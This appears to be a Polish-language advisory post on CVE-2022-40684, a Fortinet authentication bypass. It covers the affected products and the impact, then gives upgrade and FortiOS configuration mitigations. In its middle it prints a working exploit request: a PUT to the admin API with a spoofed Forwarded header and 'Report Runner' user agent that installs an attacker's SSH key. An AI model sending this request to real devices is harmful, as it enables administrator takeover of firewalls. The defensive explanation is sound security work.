CVE-2022-40684

Dec 02 2022
Informacje o luce CVE-2022-40684 to luka umożliwiająca obejście uwierzytelniania w niektórych produktach Fortinet, takich jak FortiOS, Fortiproxy i FortiSwitchManager. Oznacza to, że wykorzystując tę ​​lukę atakujący może ominąć uwierzytelnianie i zalogować się jako administrator.

O luce w zabezpieczeniach

CVE-2022-40684 to luka umożliwiająca obejście uwierzytelniania w niektórych produktach Fortinet, takich jak FortiOS, Fortiproxy i FortiSwitchManager. Oznacza to, że wykorzystując tę ​​lukę atakujący może ominąć uwierzytelnianie i zalogować się jako administrator. Bazowy wynik dla tej luki wynosi 9,8, co czyni ją wysoce krytyczną. Zanim przejdziemy dalej, zrozummy, jakie są te produkty:

  1. FortiOS: Jak sama nazwa wskazuje, FortiOS, sieciowy system operacyjny Fortinet , jest sercem zabezpieczeń Fortinet. Ten system operacyjny stanowi rdzeń Security Fabric i łączy ze sobą wszystkie komponenty, aby zapewnić ścisłą integrację całego wdrożenia w organizacji.
  2. FortiProxy: Jest to bezpieczny internetowy serwer proxy, który chroni pracowników przed atakami internetowymi, wykorzystując wiele technik wykrywania, takich jak filtrowanie stron internetowych.
  3. FortiSwitchManager (FSWM) to lokalna platforma zarządzania produktem FortiSwitch . Jednostki FortiSwitch łączą się z FortiSwitch Manager przez sieć warstwy 3. Za pomocą tej platformy tylko do zarządzania FortiSwitch można skonfigurować dużą liczbę jednostek FortiSwitch.

Uderzenie

Błąd umożliwi nieuwierzytelnionemu użytkownikowi wykonanie operacji bezpośrednio w panelu administracyjnym za pośrednictwem niektórych żądań HTTP/S (metodami mogą być GET, POST, DELETE itp.). Posiadanie roli administratora może powodować niektóre z następujących zdarzeń:

  1. Przejmij kontrolę nad całą aplikacją
  2. Uzyskanie dostępu do infrastruktury wewnętrznej
  3. Dodawanie lub usuwanie użytkowników
  4. Narażenie na wrażliwe dane
  5. Zmodyfikuj klucze SSH administratorów, aby umożliwić atakującemu zalogowanie się do zaatakowanego systemu
  6. Manipulowanie różnymi plikami konfiguracyjnymi itp.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }

  • Za pomocą nagłówka Forwarded osoba atakująca może ustawić client_ip na „127.0.0.1”.
  • Kontrola uwierzytelniania „zaufanego dostępu” weryfikuje, czy client_ip to „127.0.0.1”, a User-Agent to „Report Runner”, z których oba znajdują się pod kontrolą atakującego.

„Znalezienie lekarstwa jest o wiele ważniejsze niż znalezienie błędu”

Poniżej przedstawiono niektóre środki zaradcze mające na celu ochronę organizacji przed luką CVE-2022–40684:

  1. Modernizacja produktów, których to dotyczy.
    Zaktualizuj wersję FortiOS do ≥7.2.2 i ≥7.0.7
    Zaktualizuj wersję FortiProxy do ≥7.2.1 i ≥ 7.0.7
    Zaktualizuj FortiSwitchManager do wersji ≥7.2.1 i ≥7.0.1
  2. Wyłącz interfejs administracyjny http/https w systemach FortiOS, FortiProxy i FortiSwitchManager.
  3. W przypadku FortiOS ogranicz adresy IP, które mogą uzyskać dostęp do interfejsu administracyjnego
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end